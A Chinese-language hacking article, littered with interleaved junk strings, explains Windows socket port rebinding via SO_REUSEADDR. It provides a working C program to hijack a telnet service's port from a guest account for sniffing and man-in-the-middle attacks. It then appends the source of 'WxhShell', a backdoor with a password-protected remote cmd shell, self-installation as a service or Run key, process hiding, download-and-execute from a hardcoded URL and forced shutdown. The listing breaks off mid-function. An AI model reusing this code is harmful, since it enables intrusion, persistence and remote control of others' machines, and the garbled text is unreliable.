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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AdKv!Ta5b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G %Wjtrpj gM^ Hs7o, saddr.sin_family = AF_INET; Aum&U){yY Kw"7M~ saddr.sin_addr.s_addr = htonl(INADDR_ANY); o3qBRT0[R M,3sK!`> bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vqJiMa j@Z 6- s/\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g.iiT/b D-69/3 PvP 这意味着什么?意味着可以进行如下的攻击: [
!].G=8 #zZQ@+5zw 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j^Bo0{{ ?2aglj*"v, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ||0mfb SB:-zQ5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kOs_] @m<xpel 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 3l-8TR <;=?~QK%- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W(9-XlYKE =M*31>"I0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E}b"
qOV 3.xsCcmP 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qVx4 t"%L> rMdOE&5G #include gcQ>:mi #include mXAX%M U #include ;Ze}i/l #include VNp[J'a>VZ DWORD WINAPI ClientThread(LPVOID lpParam); DrC4oxS 1 int main() 18zv]v
% { 1I<fp $h WORD wVersionRequested; u?&P6|J& DWORD ret; S)>L 0^M1 WSADATA wsaData; ;mjk`6p BOOL val; [K9l>O SOCKADDR_IN saddr; p>Qzz`@e SOCKADDR_IN scaddr; -V%"i,t int err; 4`7N}$j#, SOCKET s; dNU i|IYm$ SOCKET sc; qm{(.b^ int caddsize; ^"(CZvq HANDLE mt; >h(n8wTP DWORD tid;
+ZQf$@+ wVersionRequested = MAKEWORD( 2, 2 ); bLhTgss]( err = WSAStartup( wVersionRequested, &wsaData ); ;w a-\Z if ( err != 0 ) { l#Ipo5= printf("error!WSAStartup failed!\n"); 9l]+rs+ return -1; HcavA{H } }i ^]uW*h saddr.sin_family = AF_INET; B8:G1r5G/ gp`$/ci //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~a^mLnY@ YNRpIhb saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f(6`5/C saddr.sin_port = htons(23); /q^)thJ~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $BXZFC_1S { qRZv[T%*Q printf("error!socket failed!\n"); +vIpt{733 return -1; bC{}&a } iqreIMWz val = TRUE; TwH%P2)x //SO_REUSEADDR选项就是可以实现端口重绑定的 SIYBMe if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TWZ**S- { _zvCc% printf("error!setsockopt failed!\n"); %@k@tD6 return -1; PzMJ^H{ } m(i8 4~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /Nt#|C> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4>-'w MW") //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Vzn0; ~! ;*C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZVs]_`(+ { ePv3M&\J ret=GetLastError(); WXV (R,*Tc printf("error!bind failed!\n");
c@7d4Jz return -1; NvW`x } z$4g9 listen(s,2); Kkcb'aDR while(1) mvgsf(a*' { d,8L-pT$FM caddsize = sizeof(scaddr); ' ^E7T'v% //接受连接请求 VHyH't_&s sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X'Q?Mh if(sc!=INVALID_SOCKET) ]Wr2I M { Z}#'.y\ f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zisf8x7^W if(mt==NULL) .ZQD`SRrI { "{(|}Cds printf("Thread Creat Failed!\n"); Q6)Wh6Cm break; N-Fs-uB } >cU#($X$^ } MdXOH$ps CloseHandle(mt); =1sGT;> } ~tx|C3A`d closesocket(s); QOiPDu=8z WSACleanup(); _/V<iv return 0; K</EVt,U~ } W>TG!R 5 DWORD WINAPI ClientThread(LPVOID lpParam) @n2Dt d { +q n[F70} SOCKET ss = (SOCKET)lpParam; uPCzs$R SOCKET sc; 7>.d*?eao\ unsigned char buf[4096]; mxD]`F SOCKADDR_IN saddr; }uP`=T!"8 long num; PWci D '! DWORD val; corNw+|/w DWORD ret; # dA9v7 //如果是隐藏端口应用的话,可以在此处加一些判断 O|K-UTWH% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 lCafsIB saddr.sin_family = AF_INET; jkAWRpOc) saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +MZsL7% saddr.sin_port = htons(23); 'h}(> % if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^^,cnDlm { n( RQre printf("error!socket failed!\n"); ^_\S)P2c return -1; |7%has3" } R7\T.;8+ val = 100; (aC~0
#4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K g6hySb { H!'Ek[s+ ret = GetLastError(); ycq+C8J+Ep return -1; n(uzqd } 4Jn+Ot.,d if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [>$?/DM { 35Ro85j ret = GetLastError(); e5AZU7%. return -1; \LG0 } |N5r_V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~=GwNo_ { P2Jo^WS printf("error!socket connect failed!\n"); dNu?O>= closesocket(sc); joz0D!-"# closesocket(ss); ^F)t>K$0m return -1; =jEVHIYt } ^[x6p}$ while(1) KvjsibI/Y { S>Z07d6 & //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g^l~AR //如果是嗅探内容的话,可以再此处进行内容分析和记录 !78P+i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o75l&` num = recv(ss,buf,4096,0); ^'%Q>FVb if(num>0) r01u3! send(sc,buf,num,0); *iX PG9XZ else if(num==0) ;
,Nvg6c break; A)#w~ X4 num = recv(sc,buf,4096,0); Sw.k,p*r if(num>0) !C(U9p. 0 send(ss,buf,num,0); ARUzEo
gcf else if(num==0) 8]K+,0m6 break; u>ZH-nw O } F MX^k closesocket(ss); ,ZI#p6 closesocket(sc); 23d*;ri5 return 0 ; redMlHM } jl>jy6T 0fGt7 "Q xX?9e3( ========================================================== oeYUsnsbi 2=
Y8$- 下边附上一个代码,,WXhSHELL w=_q<1a r^7eK)XA_ ========================================================== _z=ytt9D YEa<zhO8 #include "stdafx.h" B/*\Ih9y 9Y:Iha`$w #include <stdio.h> L\hid/NL #include <string.h> W(}2R>$ #include <windows.h> w~C\5 i #include <winsock2.h> -x{@D{Q% #include <winsvc.h> MQe|\SMd #include <urlmon.h> .sjv"D" `_()|; !y #pragma comment (lib, "Ws2_32.lib") G#Kw6 #pragma comment (lib, "urlmon.lib") 8d?%9# p-) \9fJ)*- #define MAX_USER 100 // 最大客户端连接数 ( Sjlm^bca #define BUF_SOCK 200 // sock buffer Yl&bv#[z #define KEY_BUFF 255 // 输入 buffer .6!cHL3ln 2]y Hxo/6 #define REBOOT 0 // 重启 /PVx #define SHUTDOWN 1 // 关机 c|@OD3w2lM 4/V;g%0uN; #define DEF_PORT 5000 // 监听端口 ]VR79l
[b+B"f6 #define REG_LEN 16 // 注册表键长度 QFK'r\3pU #define SVC_LEN 80 // NT服务名长度 rB-R(2
CCN |!81M|H // 从dll定义API 8=@f lK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :%gM
Xsb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t3 3\f<e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f%3MDI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZA&bp{}D mBEMwJ}O` // wxhshell配置信息 ]Exbuc struct WSCFG { KjMwrMgC int ws_port; // 监听端口 n<P&|RTZ char ws_passstr[REG_LEN]; // 口令 l,9rd[ int ws_autoins; // 安装标记, 1=yes 0=no Ng1bjq}E2 char ws_regname[REG_LEN]; // 注册表键名 TS`m&N{i") char ws_svcname[REG_LEN]; // 服务名 6"[J[7up char ws_svcdisp[SVC_LEN]; // 服务显示名 g[' 7 $ char ws_svcdesc[SVC_LEN]; // 服务描述信息 La28%10 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ly69:TR7I int ws_downexe; // 下载执行标记, 1=yes 0=no 'pyIMB?x char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" od$$g( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F >H\F@Wl Wv%F^(R7 }; DQ}&J V["'eJA,, // default Wxhshell configuration
n!sOKw struct WSCFG wscfg={DEF_PORT, qC=9m[MI "xuhuanlingzhe", uGn BlR$} 1, Adet5m.|[8 "Wxhshell", JC`;hY "Wxhshell", 2I3H?Lrx!m "WxhShell Service", s1R#X~d "Wrsky Windows CmdShell Service", 39m8iI%w[
"Please Input Your Password: ", vTo+jQs^ 1, vT MCZ+^g " http://www.wrsky.com/wxhshell.exe", OLWn0 "Wxhshell.exe" S(Z\h_m( }; WL|71?@C q6hH]Q>w* // 消息定义模块 U# IPYyV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v-8{mK`9\ char *msg_ws_prompt="\n\r? for help\n\r#>"; belBdxa{" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; LN)yQ- char *msg_ws_ext="\n\rExit."; ~c55LlO> char *msg_ws_end="\n\rQuit."; ~Y{]yBGoF char *msg_ws_boot="\n\rReboot..."; x[fp7*TiG char *msg_ws_poff="\n\rShutdown..."; 7L!}F;yT char *msg_ws_down="\n\rSave to "; 0$NzRPbH r oPC
^Q char *msg_ws_err="\n\rErr!"; PT~F^8,) char *msg_ws_ok="\n\rOK!"; >Hmho' me F. char ExeFile[MAX_PATH]; fT{jD_Q+3 int nUser = 0; ^Y!$WP HANDLE handles[MAX_USER]; W4qnXD1n int OsIsNt; ^$mCF%e8H JvEW0-B^l, SERVICE_STATUS serviceStatus; 3UF^Ff<wo SERVICE_STATUS_HANDLE hServiceStatusHandle; EuA352x lfG',hlI; // 函数声明 O$x +>^ int Install(void); R5mb4 int Uninstall(void); V6+:g=@U-l int DownloadFile(char *sURL, SOCKET wsh); 4jlwu0L+ int Boot(int flag); YzJWS|] void HideProc(void); p.<d+S< int GetOsVer(void); :?}>Q int Wxhshell(SOCKET wsl); ~}/_QlX` K void TalkWithClient(void *cs); ,$aqF<+; int CmdShell(SOCKET sock); oiM['iDK int StartFromService(void); Ki1 zi~ int StartWxhshell(LPSTR lpCmdLine); NGRXNh+ FjI1'Ah\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d|`8\fq VOID WINAPI NTServiceHandler( DWORD fdwControl ); <Fv7JPN% cp"{W-Q{$ // 数据结构和表定义 t'yh&44_ SERVICE_TABLE_ENTRY DispatchTable[] = 7*%}=. { TwF.UL@G% {wscfg.ws_svcname, NTServiceMain}, [,;O$j} {NULL, NULL} ONZ(0H{ 1$ }; YE:5'@Z 9.,IqnP // 自我安装 3g56[;Up? int Install(void) RH$l?j6 { R&:Qy7" char svExeFile[MAX_PATH]; 6ZwQ/~7H HKEY key; nEP3B'+ strcpy(svExeFile,ExeFile); bSQj=|h1 DjiI*HLNR // 如果是win9x系统,修改注册表设为自启动 ILiOEwHS7F if(!OsIsNt) { >)Bv>HM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]zj&U#{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FW)~e*@8= RegCloseKey(key); {d0
rUHP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2f{a|| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bk@EQdn RegCloseKey(key); :c Er{U8 return 0; ?%lfbZ } {9) HB: } ({$rb- } UZ6y3%G3^ else { (=Oo=8\ .]a`-Ofn // 如果是NT以上系统,安装为系统服务 m?1r@!/y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "\]]?& if (schSCManager!=0) eht>4) { [ \%a7ji# SC_HANDLE schService = CreateService snNB;hkj ( qP zxP @4
schSCManager, jK%Lewq wscfg.ws_svcname, $"}[\>e*{ wscfg.ws_svcdisp, _ /Eg_dQ~@ SERVICE_ALL_ACCESS, e2>AL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >5TXLOYZ SERVICE_AUTO_START,
><.*5q SERVICE_ERROR_NORMAL, )nq(XM7 svExeFile, hBifn\dFr NULL, ah(k!0PV NULL, dDAl n+ NULL, DeeV;?: NULL, JuOCOl\ NULL S\GxLW@x ); k'sPA_| if (schService!=0) _EP~PW#J { FF7?|V!Q CloseServiceHandle(schService); eLV[U CloseServiceHandle(schSCManager); tO D}& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fQ-IM/z strcat(svExeFile,wscfg.ws_svcname); B?e]
Ht if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r%>7n,+o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OHnsfXO_V RegCloseKey(key); kbbHa_;aqV return 0; rt?*eC1b+Z } aZ|S$-} } MX+gc$Y
O CloseServiceHandle(schSCManager); ?(}~[ } b `}hw"f } Z Y5Pf
1 Y:Jgr&*,z return 1; <K>qK]|C } 4af^SZ)l L.S/M v // 自我卸载 )(c%QWz int Uninstall(void) jR+kx:+ { NSR][h_ HKEY key; #BgiDLh \JCpwNT{P if(!OsIsNt) { H
=&K_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V^><
=DNE RegDeleteValue(key,wscfg.ws_regname); l&mY}k RegCloseKey(key); v0bP|h[t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HV]u9nrt# RegDeleteValue(key,wscfg.ws_regname); 9Sa6v?sRor RegCloseKey(key); }D3hP|.X return 0; ; 3sjTqD } FF|M7/[~ } [o7Qr?RN } axK/YE7t else { [9F 6JRFYgI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ivt ~S if (schSCManager!=0) ZXIz.GFy+ { ",Fvv
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sogt?]HB$ if (schService!=0) vTWm_ed+^ { 8.7lc2aX if(DeleteService(schService)!=0) { 5aXE^.` CloseServiceHandle(schService); ~\<L74BB CloseServiceHandle(schSCManager); 6['o^>\}f return 0; &]A0=h2{P* } MlW*Tugg CloseServiceHandle(schService); g;7u-nP } >McEuoZx9 CloseServiceHandle(schSCManager); 5dbj{r)s6i } ov
>5+"q) } K*p3#iB 3BF3$_u)o return 1; ^oClf( } _~}2@&*G" J: I@kM // 从指定url下载文件 a6;5mx int DownloadFile(char *sURL, SOCKET wsh) K `A8N { ]*Kv[%r07c HRESULT hr; 9oG)\M.6w char seps[]= "/"; \6aisK char *token; =Tfm~+7nE char *file; r$x;rL4 char myURL[MAX_PATH]; #)iPvV' char myFILE[MAX_PATH]; {.e^1qE hZ"Sqm] strcpy(myURL,sURL); 0JqvV token=strtok(myURL,seps); eF' l_* while(token!=NULL) vY,D02EMw {
\]dvwN3x file=token; Z.s0ddMs token=strtok(NULL,seps); hf7[<I,jov } +%K~HYN o*oFCR]j GetCurrentDirectory(MAX_PATH,myFILE); .kgt?r
strcat(myFILE, "\\"); X!@ Y, strcat(myFILE, file); k]2_vk^ send(wsh,myFILE,strlen(myFILE),0); MN:LL
< send(wsh,"...",3,0); E Q:6R|L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |=V~CQ] if(hr==S_OK) y'non0P. return 0; |.-Muv else vskp1 Wi( return 1; upZf&4 I8 &VG } <|w(Sn d"Zyc(Jk // 系统电源模块 c:
(nlYZ int Boot(int flag) #]Jg> { }d5~w[ HANDLE hToken; O]Yz7 TOKEN_PRIVILEGES tkp; \l`{u)V H?V
b if(OsIsNt) { 6)>otB8)J OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ofPv?_@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y!
QYdf? tkp.PrivilegeCount = 1; ${gO=Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?},RN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n9R0f9:* if(flag==REBOOT) { 8xkLfN|N=
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $I4Wl:(~} return 0; U"~W3vwJ } 9\0$YY% else { T8yMaC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5du xW>D return 0; fVdu9 l } SDVnyT } yM,Y8^ else { 'E\4/0 ! if(flag==REBOOT) { su3Wk,MLP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L^bX[.uZw return 0; rZE+B25T~ } [khXAf1{Q else { g}L>k}I?!W if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ntW1 )H'o return 0; S,Tc\} } QZ*gR#K]Sz } [ugr<[6 BO%'/2eV return 1; -=ZDfM
} cS
Qb3}a\ Fh|{ib // win9x进程隐藏模块 !%.=35NS@E void HideProc(void) z\woTL6D] { {Byh:-e< &y(%d 7@/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'S:$4j if ( hKernel != NULL ) NOKU2d4 G { yqB!0)
< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xErb11 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;uzLa%JQ FreeLibrary(hKernel); E]=>@EX } 8(L6I%k* 8;#yXlf return; 9[sOh<W } u(\O@5a -Zp BYX5e_ // 获取操作系统版本 y0~ttfv int GetOsVer(void)
|.L_c"Bc { 5G$5d:[( OSVERSIONINFO winfo; !e*T.
1Kz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n|KYcU# GetVersionEx(&winfo); U.JE \/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e6^}XRyf return 1; DJAKF else `*D"=5G+ return 0; .t/@d(R } o?6m/Klw6 M|fV7g // 客户端句柄模块 V Ew| N) int Wxhshell(SOCKET wsl) t[@>u'YKt { \O\q1
s~ SOCKET wsh; beSU[ struct sockaddr_in client; XUD Ztxa DWORD myID; gga}mqMv= yxU9W,D v while(nUser<MAX_USER) /bPs0>5 { KSHq0A6/q% int nSize=sizeof(client); S4'<kF0z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /?($W|9+l if(wsh==INVALID_SOCKET) return 1; kX8NRPW mCG&=Fx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $L?KNXHAF! if(handles[nUser]==0) d325Cw? closesocket(wsh); vm'Z A7f6 else CPMGsW^ nUser++; '4Fwh]Ee } >k/cm3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U4<c![Pp. >?rMMR+A return 0; To5hVL<Ex" } QR _h#N2h 1j:aGj>{ // 关闭 socket VCJOWUEO1 void CloseIt(SOCKET wsh) }lT;?|n:h { .{} 8mFi1 closesocket(wsh); qZ&~&f|>e nUser--; v^vi *c ExitThread(0); @BF1X.4-+ } KROD( #<ST.f@* // 客户端请求句柄 C/'w void TalkWithClient(void *cs) 44|tCB` { Y]](.\ff }a.j~>rq SOCKET wsh=(SOCKET)cs; zn7)>cQ905 char pwd[SVC_LEN]; bI8uw|c char cmd[KEY_BUFF]; ,isjiy
J char chr[1]; S#$Kmm
| int i,j;
E)ZL+( /jGV[_Q=P while (nUser < MAX_USER) { >#k-
~|w ^YropzHZ4E if(wscfg.ws_passstr) { &i.sSqSI5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7GWOJ^) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7CvBE;i //ZeroMemory(pwd,KEY_BUFF); Qh(X7B i=0; FROC/' while(i<SVC_LEN) { >%0$AW|Exu _B&Lyg!J // 设置超时 / of K7/ fd_set FdRead; R&J?XQ struct timeval TimeOut; " aCAA#$J FD_ZERO(&FdRead); e,MsF4' FD_SET(wsh,&FdRead); x+pf@?w TimeOut.tv_sec=8; 2\QsF,@`YU TimeOut.tv_usec=0; m!ueqV" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]z/R?SM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I
"~.p=' G3%Ju= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _]pu"hZz4 pwd =chr[0]; P(TBFu if(chr[0]==0xd || chr[0]==0xa) { XclTyUGoK+ pwd=0; ;}"Eqq: break; aR/?YKA } \r[u>7I i++; IT&,?u% } %S}uCqcAK 6/Xs}[iJ // 如果是非法用户,关闭 socket dK4rrO if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]L7A$sTUQ } 2R.LLE _Uq' N0U send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KP>9hEh send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^}B,0yUu' }$4z$& while(1) { >[,eK= ?'9IgT[* ZeroMemory(cmd,KEY_BUFF); ~~Ezt*lH yi>AogQ, // 自动支持客户端 telnet标准 .
yg# j=0; Xa?O)Bq. while(j<KEY_BUFF) { 4n@lrcq( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m(6d3P cmd[j]=chr[0]; qul#)HI if(chr[0]==0xa || chr[0]==0xd) { dkZe.pv$j cmd[j]=0; >m,hna]RZ break; e12QYoh } ,_I
rE j++; ^hmV?a:Y } U`mX
f#D bIAE?D // 下载文件 P<<+;'] if(strstr(cmd,"http://")) { ,0. kg send(wsh,msg_ws_down,strlen(msg_ws_down),0); yJq< &g if(DownloadFile(cmd,wsh)) y]m:
{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); @wI>0B else ExS5RV@v' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !S#3mT- } 7|DG1p9C else { v{VF>qEP
j)?M switch(cmd[0]) { ehr-o7]( *WQ?r&[_' // 帮助 6FA+qYSV case '?': { pOc2V send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5mD8$%\8 break; L(VFzPkY% } bOFzq>k_ // 安装 7v ZD case 'i': { <gkE,e9 if(Install()) alaL/p{O send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yi*F;V else &>,;ye>A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K8;SE! break; Z~~6y6p } 3R+%C* 7 // 卸载 .ybmJU*Hg case 'r': { w`)5(~b if(Uninstall()) W2
-%/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); nn_O"fZi else ~oa}gJl:}- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -WlYHW break; c$Kc,`2m7 } :o>=^N // 显示 wxhshell 所在路径 E EDFyZ case 'p': { Y 3BJ@sqz char svExeFile[MAX_PATH]; @M5+12FYt strcpy(svExeFile,"\n\r"); Lt't strcat(svExeFile,ExeFile); N}?|ik send(wsh,svExeFile,strlen(svExeFile),0); CUu
Owx6% break; 4XjwU` } wtTy(j,9 // 重启 .h-mFcjy case 'b': { d m8t~38 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iBSM
\ n if(Boot(REBOOT)) 3%kUj send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4>*=q*<V5E else { .|
4P
:r closesocket(wsh); 4v\HaOk ExitThread(0); 9Da{|FyrD } s6,~JF^ break; WigtTAh4 } bC
`<A // 关机 z1mB Hz6 case 'd': { '~D4%WKT send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $0_K&_5w~ if(Boot(SHUTDOWN)) %Jt35j@Ee send(wsh,msg_ws_err,strlen(msg_ws_err),0); nqj(V else { IzpE|8l closesocket(wsh); !kovrvM6F ExitThread(0); .xJ54Vz } K%v:giN$l` break; D$hQ-K } J:@gmo`M;V // 获取shell )D+BvJ Y" case 's': { $ZM'dIk? CmdShell(wsh); #n>U7j9`O closesocket(wsh); 4z0gyCAC A ExitThread(0); .l1x~( break; ?+t;\ } ys9:";X;} // 退出 FS1\`#Bm) case 'x': { |>;PV4])( send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,*|Q= CloseIt(wsh); 4$xVm,n|
break; (U:-z=E#1 } I%5vI} // 离开 ):$KM{X case 'q': { {A0jkU send(wsh,msg_ws_end,strlen(msg_ws_end),0); yYP_TuNa closesocket(wsh); fsL9d} WSACleanup(); @+b$43^ exit(1); f24W*#IX break; 9\Jc7[b } ]-\68b N } 4z<c8
E8 } xMjhC;i{ <_YdN)x // 提示信息 u7< +)6- if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D$}hoM1 } X30tO> } m_)- wN[lC|1c return; QX=TuyO } JwSF}kNs} g *Js4 // shell模块句柄 Cbff:IP int CmdShell(SOCKET sock) oco,sxT { z!g$#hmL> STARTUPINFO si; \s)MNs ZeroMemory(&si,sizeof(si)); pJHdY)Cz si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UIAazDyC si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vbid>$% PROCESS_INFORMATION ProcessInfo; XoKgs, y4 char cmdline[]="cmd"; :h(HKMSk1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?X|)0o return 0; [MIgQ.n } cY5&1Shb~ 05wkUo:9 // 自身启动模式 v@\S$qU2 int StartFromService(void) ; J W]b] { Hu|Tj<S typedef struct vb>F)X?b_ { Ae>+Fcv DWORD ExitStatus; poQ_r<I DWORD PebBaseAddress; ^#R`Uptib DWORD AffinityMask; +f/
I>9G DWORD BasePriority; NY.Cr.} ULONG UniqueProcessId; IBa0O|*6 ULONG InheritedFromUniqueProcessId; MLd;UHU } PROCESS_BASIC_INFORMATION; \IL)~5d |4@cX<d. PROCNTQSIP NtQueryInformationProcess; _Raf7 W hz:7W8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
